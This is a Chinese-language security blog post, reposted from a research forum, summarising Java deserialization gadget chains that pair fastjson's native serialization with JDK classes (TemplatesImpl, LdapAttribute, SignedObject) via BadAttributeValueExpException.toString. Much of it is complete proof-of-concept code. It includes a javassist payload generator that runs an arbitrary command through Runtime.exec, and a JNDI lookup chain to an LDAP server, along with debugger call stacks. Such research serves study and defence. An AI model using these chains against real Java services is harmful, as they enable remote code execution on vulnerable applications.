fastjson 原生配合 jdk 原生的利用总结

admin 2025年2月24日13:34:07评论8 views字数 16151阅读53分50秒阅读模式

免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(1341025112991831)

文章来源:https://xz.aliyun.com/news/16933

fastjson 的原生

参考:

https://xz.aliyun.com/t/12755?time__1311=GqGxu7G%3DD%3Dit0%3DD%2FYriQNuqYTwjbNd8ba4D

代码例子

public class Person {    private String name;    public String getName() {        System.out.println("getName");        return name;    }    public void setName(String name) {        System.out.println("setName");        this.name = name;    }}
public class BeanTest {    public static void main(String[] args) throws Exception{        Person person = new Person();        String JSON_Serialize = JSON.toJSONString(person);        System.out.println(JSON_Serialize);    }}

我们调试分析下,跟进 toJSONString 方法

public static String toJSONString(Object object) {    return toJSONString(object, emptyFilters);}

跟进重载

public static String toJSONString(Object object, SerializeConfig config, SerializeFilter[] filters, String dateFormat, int defaultFeatures, SerializerFeature... features) {    SerializeWriter out = new SerializeWriter((Writer)null, defaultFeatures, features);    String var15;    try {        JSONSerializer serializer = new JSONSerializer(out, config);        if (dateFormat != null && dateFormat.length() != 0) {            serializer.setDateFormat(dateFormat);            serializer.config(SerializerFeature.WriteDateUseDateFormat, true);        }        if (filters != null) {            SerializeFilter[] var8 = filters;            int var9 = filters.length;            for(int var10 = 0; var10 < var9; ++var10) {                SerializeFilter filter = var8[var10];                serializer.addFilter(filter);            }        }        serializer.write(object);        var15 = out.toString();    } finally {        out.close();    }    return var15;}

跟进 write 方法

public final void write(Object object) {    if (object == null) {        this.out.writeNull();    } else {        Class<?> clazz = object.getClass();        ObjectSerializer writer = this.getObjectWriter(clazz);        try {            writer.write(this, object, (Object)null, (Type)null, 0);        } catch (IOException var5) {            throw new JSONException(var5.getMessage(), var5);        }    }}

这里关键就在于 writer.write 中,然后其中的 ASM 不好跟踪

getName:4, Personwrite:-1, ASMSerializer_1_Person (com.alibaba.fastjson.serializer)write:312, JSONSerializer (com.alibaba.fastjson.serializer)toJSONString:793, JSON (com.alibaba.fastjson)toJSONString:731, JSON (com.alibaba.fastjson)toJSONString:688, JSON (com.alibaba.fastjson)main:7, BeanTest

看调用栈,可以看到调用 getter 方法

fastjson 原生配合 jdk 原生的利用总结

下载我们的思路就是能够通过调用 getter 方法触发恶意利用的

但是如何触发 toJSONString 呢?

我们的代码例子是手动触发的,我们找找调用

发现是在JSON 的 toString 方法

public String toString() {    return this.toJSONString();}

TemplatesImpl 利用链

这也是 y4 师傅讲到的,其实这个也是最好想到了

import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static byte[] genPayload(String cmd) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec(""+cmd+"");");        clazz.addConstructor(constructor);        clazz.getClassFile().setMajorVersion(49);        return clazz.toBytecode();    }    public static void main(String[] args) throws Exception{        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});        setValue(templates, "_name", "1");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setValue(bd,"val",jsonArray);        HashMap hashMap = new HashMap();        hashMap.put(templates,bd);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));        objectInputStream.readObject();    }}

我们调试一下看看

toString:1071, JSON (com.alibaba.fastjson)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)readObject:1396, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)main:55, Test

首先就是最简单的触发 toString
当然触发 toString 的有很多,而且还有一个 jdk 的原生出的 tostring 的
可以去看https://www.aiwin.fun/index.php/archives/4420/

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)write:135, ListSerializer (com.alibaba.fastjson.serializer)write:312, JSONSerializer (com.alibaba.fastjson.serializer)toJSONString:1077, JSON (com.alibaba.fastjson)

然后跟随着我们上面分析的调用栈,到了 getOutputProperties 方法,成功触发我们的恶意利用

fastjson 原生配合 jdk 原生的利用总结

LdapAttribute 利用链

这个也是我们的 jdk 原生的,看名字就知道利用点在于 JNDI

fastjson 原生配合 jdk 原生的利用总结

看到 getter 方法还是挺多的

这里找了一下
利用的是 getAttributeDefinition 方法

我们调试分析一波

这里拿上面的代码改一下

Object ldapAttribute = Reflections.newInstance("com.sun.jndi.ldap.LdapAttribute",new Class[]{String.class},new Object[]{"c"});Reflections.setFieldValue(ldapAttribute,"baseCtxURL","ldap://127.0.0.1:1389");Reflections.setFieldValue(ldapAttribute,"rdn", new CompositeName("exp" + "//b"));JSONArray jsonArray = new JSONArray();jsonArray.add(ldapAttribute);BadAttributeValueExpException bd = new BadAttributeValueExpException(null);setValue(bd,"val",jsonArray);HashMap hashMap = new HashMap();hashMap.put(ldapAttribute,bd);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(hashMap);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));objectInputStream.readObject();

调用栈

getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)get:451, FieldInfo (com.alibaba.fastjson.util)getPropertyValueDirect:110, FieldSerializer (com.alibaba.fastjson.serializer)write:196, JavaBeanSerializer (com.alibaba.fastjson.serializer)write:126, ListSerializer (com.alibaba.fastjson.serializer)write:275, JSONSerializer (com.alibaba.fastjson.serializer)toJSONString:799, JSON (com.alibaba.fastjson)toString:793, JSON (com.alibaba.fastjson)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)readObject:1396, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)main:54, Test

来到了我们的 sink 方法

public DirContext getAttributeDefinition() throws NamingException {    DirContext var1 = this.getBaseCtx().getSchema(this.rdn);    return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());}

跟进 getSchema 看看是如何对 rdn 解析的,是如何找到我们的类名的

public DirContext getSchema(Name name) throws NamingException {    return getURLOrDefaultInitDirCtx(name).getSchema(name);}

重载

public DirContext getSchema(Name var1) throws NamingException {    PartialCompositeDirContext var2 = this;    Hashtable var3 = this.p_getEnvironment();    Continuation var4 = new Continuation(var1, var3);    Name var6 = var1;    DirContext var5;    try {        for(var5 = var2.p_getSchema(var6, var4); var4.isContinue(); var5 = var2.p_getSchema(var6, var4)) {            var6 = var4.getRemainingName();            var2 = getPCDirContext(var4);        }    } catch (CannotProceedException var9) {        DirContext var8 = DirectoryManager.getContinuationDirContext(var9);        var5 = var8.getSchema(var9.getRemainingName());    }    return var5;}

这里我们只需要一直关注我们传入的参数被传入了什么地方

跟进 p_getSchema

protected DirContext p_getSchema(Name var1, Continuation var2) throws NamingException {    DirContext var3 = null;    HeadTail var4 = this.p_resolveIntermediate(var1, var2);    switch (var4.getStatus()) {        case 2:            var3 = this.c_getSchema(var4.getHead(), var2);            break;        case 3:            var3 = this.c_getSchema_nns(var4.getHead(), var2);    }    return var3;}

可以看到值又被传入了 p_resolveIntermediate

fastjson 原生配合 jdk 原生的利用总结

处理是在 p_resolveIntermediate
这个方法很长

protected HeadTail p_resolveIntermediate(Name var1, Continuation var2) throws NamingException {    byte var3 = 1;    var2.setSuccess();    HeadTail var4 = this.p_parseComponent(var1, var2);    Name var5 = var4.getTail();    Name var6 = var4.getHead();    if (var5 != null && !var5.isEmpty()) {        Object var7;        if (!var5.get(0).equals("")) {            try {                var7 = this.c_resolveIntermediate_nns(var6, var2);                if (var7 != null) {                    var2.setContinue(var7, var6, this, var5);                } else if (var2.isContinue()) {                    this.checkAndAdjustRemainingName(var2.getRemainingName());                    var2.appendRemainingName(var5);                }            } catch (NamingException var11) {                this.checkAndAdjustRemainingName(var11.getRemainingName());                var11.appendRemainingName(var5);                throw var11;            }        } else if (var5.size() == 1) {            var3 = 3;        } else if (!var6.isEmpty() && !this.isAllEmpty(var5)) {            try {                var7 = this.c_resolveIntermediate_nns(var6, var2);                if (var7 != null) {                    var2.setContinue(var7, var6, this, var5);                } else if (var2.isContinue()) {                    this.checkAndAdjustRemainingName(var2.getRemainingName());                    var2.appendRemainingName(var5);                }            } catch (NamingException var9) {                this.checkAndAdjustRemainingName(var9.getRemainingName());                var9.appendRemainingName(var5);                throw var9;            }        } else {            Name var12 = var5.getSuffix(1);            try {                Object var8 = this.c_lookup_nns(var6, var2);                if (var8 != null) {                    var2.setContinue(var8, var6, this, var12);                } else if (var2.isContinue()) {                    var2.appendRemainingName(var12);                }            } catch (NamingException var10) {                var10.appendRemainingName(var12);                throw var10;            }        }    } else {        var3 = 2;    }    var4.setStatus(var3);    return var4;}

可以发现首先是把我们的输入分为了头和尾巴

fastjson 原生配合 jdk 原生的利用总结

然后传入到 c_resolveIntermediate_nns 方法

fastjson 原生配合 jdk 原生的利用总结

看到这里 jndi 的逻辑又明显了一些

protected Object c_resolveIntermediate_nns(Name var1, Continuation var2) throws NamingException {    try {        final Object var3 = this.c_lookup(var1, var2);        if (var3 != null && this.getClass().isInstance(var3)) {            var2.setContinueNNS(var3, var1, this);            return null;        } else if (var3 != null && !(var3 instanceof Context)) {            RefAddr var4 = new RefAddr("nns") {                private static final long serialVersionUID = -8831204798861786362L;                public Object getContent() {                    return var3;                }            };            Reference var5 = new Reference("java.lang.Object", var4);            CompositeName var6 = (CompositeName)var1.clone();            var6.add("");            var2.setContinue(var5, var6, this);            return null;        } else {            return var3;        }    } catch (NamingException var7) {        var7.appendRemainingComponent("");        throw var7;    }}

c_lookup 方法,这个在分析 LDAP 的 jndi 的时候就分析过了

触发点也就是在里面

SignedObject 利用链

SignedObject 也是 jdk 的一个原生类

fastjson 原生配合 jdk 原生的利用总结

我们看到它的方法

fastjson 原生配合 jdk 原生的利用总结

利用的是它的 getObject 方法

这个方法可以二次反序列化

public Object getObject()    throws IOException, ClassNotFoundException{    // creating a stream pipe-line, from b to a    ByteArrayInputStream b = new ByteArrayInputStream(this.content);    ObjectInput a = new ObjectInputStream(b);    Object obj = a.readObject();    b.close();    a.close();    return obj;}

只需要我们控制 content 的值
POC

import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import javax.naming.CompositeName;import java.io.*;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import common.Reflections;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;public class Test {    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static byte[] genPayload(String cmd) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec(""+cmd+"");");        clazz.addConstructor(constructor);        clazz.getClassFile().setMajorVersion(49);        return clazz.toBytecode();    }    public static void main(String[] args) throws Exception{        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        HashMap<Object,Object> objectHashMap=new HashMap<>();        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject("test", kp.getPrivate(), Signature.getInstance("DSA"));        JSONArray jsonArray = new JSONArray();        jsonArray.add(signedObject);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setValue(bd,"val",jsonArray);        HashMap hashMap = new HashMap();        hashMap.put(signedObject,bd);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));        objectInputStream.readObject();    }}

这里我没有控制二次反序列化的内容,因为研究的重点是原生+原生

调试一下

fastjson 原生配合 jdk 原生的利用总结

成功到这里

getObject:178, SignedObject (java.security)write:-1, ASMSerializer_1_SignedObject (com.alibaba.fastjson.serializer)write:126, ListSerializer (com.alibaba.fastjson.serializer)write:275, JSONSerializer (com.alibaba.fastjson.serializer)toJSONString:799, JSON (com.alibaba.fastjson)toString:793, JSON (com.alibaba.fastjson)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)readObject:1396, HashMap (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:1900, ObjectInputStream (java.io)readOrdinaryObject:1801, ObjectInputStream (java.io)readObject0:1351, ObjectInputStream (java.io)readObject:371, ObjectInputStream (java.io)main:61, Test

原文始发于微信公众号(七芒星实验室):fastjson 原生配合 jdk 原生的利用总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日13:34:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson 原生配合 jdk 原生的利用总结https://cn-sec.com/archives/3772043.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息